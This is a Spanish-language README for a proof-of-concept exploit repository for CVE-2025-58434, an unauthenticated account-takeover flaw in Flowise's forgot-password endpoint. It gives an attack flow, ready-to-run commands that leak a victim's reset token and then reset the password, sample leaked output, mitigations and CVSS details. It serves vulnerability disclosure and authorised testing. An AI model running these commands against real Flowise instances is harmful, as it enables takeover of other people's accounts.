
Exploit de prueba de concepto para CVE-2025-58434, que demuestra la toma de control de cuentas sin autenticación en Flowise mediante tokens de restablecimiento de contraseña filtrados. Incluye un ataque de dos etapas: fuga de tokens y restablecimiento de contraseña.
⚠️ Este repositorio es solo para fines educativos e investigación de seguridad autorizada.
El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso explícito es ilegal.
El endpoint forgot-password en Flowise (tanto en la versión en la nube como en la autoalojada) devuelve un token de restablecimiento de contraseña válido (tempToken) directamente en el cuerpo de la respuesta HTTP sin ninguna verificación por correo electrónico ni autenticación.
Esto significa que un atacante que conoce (o puede adivinar) la dirección de correo electrónico de una víctima puede:
forgot-password → recibir el tempToken en la respuesta JSONtempToken para llamar a reset-password → establecer una nueva contraseña arbitrariaNo se requiere acceso previo, interacción del usuario ni acceso al correo electrónico.
El manejador de forgot-password devuelve el registro completo del usuario, incluido el tempToken generado, directamente en la respuesta de la API en lugar de solo enviarlo a la dirección de correo electrónico registrada del usuario.
{
"user": {
"id": "<uuid>",
"name": "Nombre de la Víctima",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<TOKEN_FILTRADO>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Atacante API de Flowise
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (genera tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (contraseña cambiada!) │
│ │
✓ Toma de Control de Cuenta Completada
cloud.flowiseai.com) — confirmado afectadoConsulte el repositorio oficial de Flowise en GitHub para obtener información sobre la versión parcheada.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Script PoC principal (ATO en dos etapas)
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── DISCLAIMER.md # Aviso legal (léalo antes de usar)
requests# Clonar el repositorio
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Instalar dependencias
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
Confirme que la instancia es vulnerable y recupere el tempToken sin restablecer ninguna contraseña.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
Use el token filtrado para restablecer la contraseña inmediatamente.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
[Paso 1] Enviando solicitud de forgot-password …
[*] Estado HTTP : 201
========================================================================
DATOS FILTRADOS DE LA CUENTA
========================================================================
ID de Usuario : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Nombre : Usuario Admin
Correo : [email protected]
Credencial : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Estado : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtenido : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: ¡La instancia filtra tokens de restablecimiento de contraseña sin autenticación!
Si es operador de una instancia de Flowise, aplique las siguientes mitigaciones de inmediato:
forgot-password independientemente de si el correo existe — esto también evita la enumeración de cuentas.forgot-password.| Fecha | Evento |
|---|---|
| 2025-08-19 | Vulnerabilidad descubierta y reportada |
| Por definir | Reconocimiento del proveedor |
| Por definir | Parche publicado |
| Por definir | Divulgación pública |
Este proyecto está destinado únicamente a fines educativos y pruebas de penetración autorizadas.
| Campo | Valor |
|---|
| CVE ID | CVE-2025-58434 |
| Puntuación CVSS | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: Mecanismo Débil de Recuperación de Contraseña |
| Tipo | Bypass de Autenticación / Exposición Insegura de Objetos Directos |
| App Afectada | Flowise (nube + autoalojada) |
| Endpoint 1 | POST /api/v1/account/forgot-password |
| Endpoint 2 | POST /api/v1/account/reset-password |
| Flag | Corto | Descripción | Valor por Defecto |
|---|
--url URL | -u | URL base de la instancia de Flowise | (requerido) |
--email EMAIL | -e | Dirección de correo electrónico de la cuenta objetivo | (requerido) |
--reset | -r | Realizar Etapa 2: restablecer contraseña con token filtrado | False |
--new-password PASS | -p | Nueva contraseña a establecer (usado con --reset) | Changeme@2025! |
--timeout SECONDS | -t | Tiempo de espera para solicitudes HTTP | 10 |
--json-output | -j | Imprimir respuesta JSON cruda de la API en salida estándar | False |